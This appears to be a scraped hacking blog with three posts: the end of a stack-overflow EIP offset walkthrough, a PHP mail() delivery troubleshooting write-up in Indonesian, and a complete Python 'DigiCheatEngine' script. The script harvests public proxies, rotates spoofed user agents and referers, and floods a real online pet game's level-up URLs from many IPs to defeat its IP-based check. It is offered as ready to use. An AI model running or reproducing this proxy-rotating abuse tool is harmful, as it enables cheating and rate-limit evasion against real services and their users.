buff += "c3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9"
buff += "Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf"
buff += "6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2G"
buff += "h3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9"
buff += "Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

Output has been saved in StackFlowers.log

gunslinger@c0debreaker:/media/disk/stackflowers$

and we load it into program that vulnerable stack overflow attack and attach it with debugger. and see what eip register overwritten by what.
i use immunity debugger in this case.

debugger tell us that register eip contains 0x356b4234 (that representation of 34 42 6b 35 = 4Bk5). now we locate where is 0x356b4234 location of the pattern exactly.

now we know that pattern start at 1094 bytes + 4 bytes to overwrite eip register.

ok that just an example of using the program, you can try it by your self. and you can read the source of the program, browse project here https://sourceforge.net/projects/stackflowers/files/ . in future day i’ll write win32 exploit development here. but in indonesian language, so keep in touch.

allright, take it easy.

error sending mail in php ?


Yesterday, ketika saya ingin mencoba lagi membuat script html email pada php. script php tersebut sebagai berikut :

function kirim_email($name, $email, $to_mail, $subject, $msg) {
$sending = false;
$eol = "\n";
$tosend = array();

if (!empty($name) && !empty($email) && !empty($to_mail) && !empty($subject) && !empty($msg)) {
	$from_name = $name;
	$from_mail = $email;
	$sending = true;
}

if ($sending) {
	$tosend['email'] = $to_mail;
	$tosend['subject'] = $subject;

	$tosend['headers'] = "From: \"".$from_name."\" <".$from_mail.">".$eol;
	$tosend['headers'] .= "Content-type: text/html; charset=iso-8859-1".$eol;
	$tosend['message'] = $msg;

	if (mail($tosend['email'], $tosend['subject'], $tosend['message'] , $tosend['headers']))
	return true;
	else
	return false;
	}//-- if ($sending)
return false;
}
if (kirim_email("Gunslinger_", "no-reply@host.com", "yudha.gunslinger@gmail.com", "Hi!", "<strong>Testing sending email</strong>")){
	echo "sukses";
)
?>

saya tak sadar bahwa ternyata ada yang salah dengan sistem saya, karena dari fungsi yang dipakai menghasilkan “sukses” pertanda fungsi php pengiriman email tersebut mengalami True. ketika saya menjalankan script email, dan saya tunggu. ternyata pesan tak kunjung datang ? dan saya re-send kembali, dan saya tunggu kembali. dan baru saya sadari jika memang ada yang salah pada program pengiriman email setelah saya membaca logging dari mail yang dilakukan oleh postfix / sendmail.
ternyata pengiriman pesan email mengalami error. error tersebut sebagai berikut :

gunslinger@c0debreaker:/var/log$ cat mail.log
...cut very big error logging...
Dec 20 01:42:34 c0debreaker postfix/smtp[19046]: 74FBF30501:
to= relay=none, delay=10,
status=deferred (Name service error for name=gmail.com
type=MX: Host not found, try again)
gunslinger@c0debreaker:/var/log$

ternyata memang benar, ada yang salah dengan pengiriman email. namun darimana error tersebut ?
sekian dari di teliti, kemungkinan bisa terjadi karena pada beberapa berikut ini :

– tidak bisa meresolve domain, terhalang firewall / iptable ?
– ISP tidak mengizinkan port smtp (port: 25), alasan keamanan anti spam ?
– daemon postfix / sendmail yang tak berfungsi ?
– gmail melakukan blok pada ip yang dinamis ?
– kesalahan konfigurasi, sendmail pada php.ini ?
– permasalahan perizinan hak akses dari user www-data ketika mengakses sendmail, dikarenakan dibutuhkan superuser untuk mengakses postfix / sendmail ?
– kemungkinan lain yang belum di ketahui

dari sekian kemungkinan saya mencoba untuk menganalisa lebih jauh dari setiap kemungkinan

– tidak bisa meresolve domain, terhalang firewall / iptable ?
saya mengecek apakah rule pada iptable saya telah memblok akses pengiriman dan penerimaan .

gunslinger@c0debreaker:/var/log$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 22038 packets, 9915K bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 22842 packets, 6103K bytes)
 pkts bytes target     prot opt in     out     source               destination
gunslinger@c0debreaker:/var/log$

ternyata tidak, iptable mengizinkan packet untuk keluar masuk dari sistem.
dan saya mencoba lagi untuk meload php pengiriman email tersebut di browser, pesan masih tak kunjung datang.

– ISP tidak mengizinkan port smtp (port: 25), alasan keamanan anti spam ?
saya cek kembali, kali ini saya scanning ip saya sendiri dari luar, apakah port SMTP di blok oleh ISP ?

gunslinger@c0debreaker:/var/log$ nmap 10.70.191.159

Starting Nmap 4.76 ( http://nmap.org ) at 2010-12-20 02:38 WIT
Interesting ports on 10.70.191.159:
Not shown: 992 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
6667/tcp open  irc

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds
gunslinger@c0debreaker:/var/log$

lagi2 bukan itu permasalahannya. kembali ke kemungkinan masalah lain.

– daemon postfix / sendmail yang tak berfungsi ?
dengan kemungkinan berikut, saya mencoba melakukan testing mengirimkan email dari shell.

gunslinger@c0debreaker:/var/log$ mail -s testing yudha.gunslinger@gmail.com
Testing send email
Cc:
gunslinger@c0debreaker:/var/log$

lalu kemudian saya mengecek email apakah email tersebut masuk.

email, sending, error, mail(), function

ternyata masuk ke dalam email, hanya saja masuk ke kotak spam dikarenakan ip pengirim yang dinamis, dan hostname pengirim yang tidak jelas.

– gmail melakukan blok pada ip yang dinamis ?
sepertinya tidak, karena testing pengiriman email di atas telah sampai . hanya saja masuk ke bagian spam.

– kesalahan konfigurasi, sendmail pada php.ini ?
saya cek kembali, pada settingan php.ini yang default.

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =

pada php.ini yang default, sendmail dilakukan dengan perintah langsung ke shell “sendmail -t -i”
saya mencoba mengubah sendmail path yang dipakai oleh php.
pertama, saya memastikan dimana letak binary sendmail tersebut.

gunslinger@c0debreaker:/var/log$ whereis sendmail
sendmail: /usr/sbin/sendmail /usr/lib/sendmail /usr/share/man/man1/sendmail.1.gz
gunslinger@c0debreaker:/var/log$

binary sendmail terletak di /usr/sbin/sendmail
dan saya letakan di default sendmail_path yang akan terpakai oleh php.

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = /usr/sbin/sendmail

lalu saya simpan.
lagi – lagi saya mencoba untuk membuka php pengiriman email tersebut di browser, akhirnya pesan datang ke email yang di tuju.

email, sending, error, mail(), function

dan berikut ini laporan dari mail.log dikatakan bahwa pengiriman pesan berhasil.

gunslinger@c0debreaker:/var/log$ cat mail.log
...cut cause very big logging...
Dec 20 03:30:02 c0debreaker postfix/qmgr[3097]: 21A7CCC5D7: removed
Dec 20 03:30:52 c0debreaker postfix/pickup[25674]: 89EA1CC5D7: uid=65534 from=
Dec 20 03:30:52 c0debreaker postfix/cleanup[4371]: 89EA1CC5D7: message-id=<20101219203052.89EA1CC5D7@c0debreaker>
Dec 20 03:30:52 c0debreaker postfix/qmgr[3097]: 89EA1CC5D7: from=, size=390, nrcpt=1 (queue active)
Dec 20 03:30:58 c0debreaker postfix/smtp[4747]: 89EA1CC5D7: to=, relay=gmail-smtp-in.l.google.com[74.125.127.27]:25, delay=6.4, delays=0.07/0.01/1.9/4.4, dsn=2.0.0, status=sent (250 2.0.0 OK 1292790657 u16si6152439yhc.52)
Dec 20 03:30:58 c0debreaker postfix/qmgr[3097]: 89EA1CC5D7: removed
gunslinger@c0debreaker:/var/log$

message yang terdelay karena kegagalan sebelumnya juga terkirim.

Dengan demikian, di simpulkan bahwa keberhasilan dari fungsi php yang di buat tidak di tentukan oleh return code pada fungsi mail(). fungsi mail() tidak melakukan pengecekan lebih jauh terhadap laporan status pengiriman pesan email. fungsi mail() tersebut hanya bertugas mengirim dan return code false hanya di karenakan jika parameter yang tidak valid. kemungkinan, ada server2 di indonesia (beberapa kali pernah saya rasakan ketika mendevelopment website) bahwa sering kali fungsi mail() bernilai kembali benar (return True) tetapi email tak kunjung datang. dan pemilik server mengira (mungkin sudah yakin?), email sudah terkirim hanya masalah delay. padahal email akan tak kunjung datang.

Demikian yang saya tulis semoga berguna, keep in touch http://bit.ly/codebreaker ;)

Digimon online pets cheat with python


it’s about yesterday, when i see my nephew playing some games in internet
then he send a link to his friend in chat,
well i see he’s playing digimon online pets .
http://www.blutdygiadopt.myadopts.com/
who need feed by click the url address of the digi and the digi will be level up by clicking count
as a good uncle, so i try to make some cheat for his game ;)
so i’ve interested to register in that game .
after analyze, the game has been discovered a weakness
the weakness is the game just check by ip address.. not connections header, via, time, bogus address, etc
so the goal, to make ip address different every visit the link using proxy
that’s so easy because i’ve made pyproxy python library for continue develope the cheat
go to here for download pyproxy : https://sourceforge.net/projects/pyproxy/ ;)
download pyproxy library and place it in same directory with the code bellow

Get cash from your website. Sign up as affiliate.

here it is the code,

#!/usr/bin/python
# This code is just for educational only or messing around ;)
# By gunslinger_ <yudha.gunslinger@gmail.com>
# http://bit.ly/codebreaker

import mechanize, urllib2, urllib, sys, time, random, cookielib, re, httplib, socket, threading, os
try:
	import pyproxy
except ImportError:
	print "[*] You need to download pyproxy library . check here https://sourceforge.net/projects/pyproxy/"

class UpLevelDigi(threading.Thread):
	def __init__(self):
	        threading.Thread.__init__(self)
		self.timeout 		= 10
		self.verbose		= False
		self.proxylisttext	= "proxylist.txt"
		self.ouruseragent 	= ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
					'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
					'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
					'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
				        'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
				        'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
				        'Microsoft Internet Explorer/4.0b1 (Windows 95)',
				        'Opera/8.00 (Windows NT 5.1; U; en)',
					'amaya/9.51 libwww/5.4.0',
					'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
					'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
					'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
					'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
					'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
					'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
		self.referer		= ['http://google.com','http://bing.com']
		self.mydigi		= ['http://www.blutdygiadopt.myadopts.com/levelup.php?id=20100',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20111',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20112',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20113',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20114',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20115',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20117',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20118',
					'http://www.blutdygiadopt.myadopts.com/levelup.php?id=20119']

	def ProxyLoader(self):
		global proxylist
		try:
			preventstrokes = open(self.proxylisttext, "r")
			proxylist      = preventstrokes.readlines()
			count          = 0
			while count < len(proxylist):
				proxylist[count] = proxylist[count].strip()
				count += 1
		except(IOError):
		  	print "\n[-] Error: Check your proxylist path\n"
		  	sys.exit(1)

	def LevelUp(self, proxy):
		try:
			socket.setdefaulttimeout(self.timeout)
			proxy 			= proxy.split(":")
			proxy_info 		= {
						'host' : proxy[0],
						'port' : int(proxy[1])
						}
			proxy_support = urllib2.ProxyHandler({"http" : "%s:%d" % (proxy[0], int(proxy[1]))})
			opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)
			opener.addheaders = [('User-agent', random.choice(self.ouruseragent)),
						('Referer', random.choice(self.referer))]
			urllib2.install_opener(opener)
			f = urllib2.urlopen(random.choice(self.mydigi))
			if self.verbose:
				print f.headers
				print f.read()
			if "You (or someone using your IP address)" in f.read():
				print "[*] Digi Not Feeded..."
			else:
				print "[*] Feed the Digi Success !"
		except httplib.BadStatusLine:
			pass
		except AttributeError:
			pass
		except socket.error:
			pass
		except urllib2.URLError:
			pass
		except httplib.IncompleteRead:
			pass
		except IndexError:
			pass

	def run(self):
		print "[*] Using PID : %s " % (os.getpid())
		for proxy in proxylist:
			self.LevelUp(proxy.replace("\n",""))

def ProxyGathering():
	proxyurl 	= ['http://www.proxy-list.net/anonymous-proxy-lists.shtml',
			'http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml',
			'http://www.1proxyfree.com/',
			'http://www.proxylists.net/http_highanon.txt',
			'http://www.atomintersoft.com/products/alive-proxy/socks5-list/',
			'http://www.proxylist.net/',
			'http://aliveproxy.com/high-anonymity-proxy-list/',
			'http://spys.ru/en/',
			'http://spys.ru/en/http-proxy-list/',
			'http://atomintersoft.com/free_proxy_list',
			'http://aliveproxy.com/proxy-list/proxies.aspx/Indonesia-id',
			'http://tinnhanh.ipvnn.com/free-proxy/Indonesia_Proxy_List.ipvnn']
	ph 		= pyproxy.proxyhunter(Verbose=False, TimeOut=20, Sitelist=proxyurl)
	ph.Samairdotru()
	ph.Single()
	ph.Cleanitup()

def main():
	print "DigiCheatEngine "
	print "Programmer	: Gunslinger_"
	print "[*] Searching Proxy for load into DigiCheatEngine first..."
	ProxyGathering()
	print "[*] Running DigiCheatEngine ! You must kill the PID to end this process !"
	DigiCheatEngine		= UpLevelDigi()
	DigiCheatEngine2	= UpLevelDigi()
	DigiCheatEngine3 	= UpLevelDigi()
	DigiCheatEngine4	= UpLevelDigi()
	DigiCheatEngine5	= UpLevelDigi()
	DigiCheatEngine.ProxyLoader()
	DigiCheatEngine2.ProxyLoader()
	DigiCheatEngine3.ProxyLoader()
	DigiCheatEngine4.ProxyLoader()
	DigiCheatEngine5.ProxyLoader()
	DigiCheatEngine.start()
	DigiCheatEngine2.start()
	DigiCheatEngine3.start()
	DigiCheatEngine4.start()
	DigiCheatEngine5.start()

if __name__ == '__main__':
	main()

here it’s the result

live preview http://www.blutdygiadopt.myadopts.com/profile.php?user=gunslinger

ok keep in touch with http://bit.ly/c0debreaker for take some fun and and take some serious ;)

jasa pembuatan website, jasa pembuatan web, jasa web seo, jasa pembuatan toko online, jasa web disain, media website plus

Get cash from your website. Sign up as affiliate.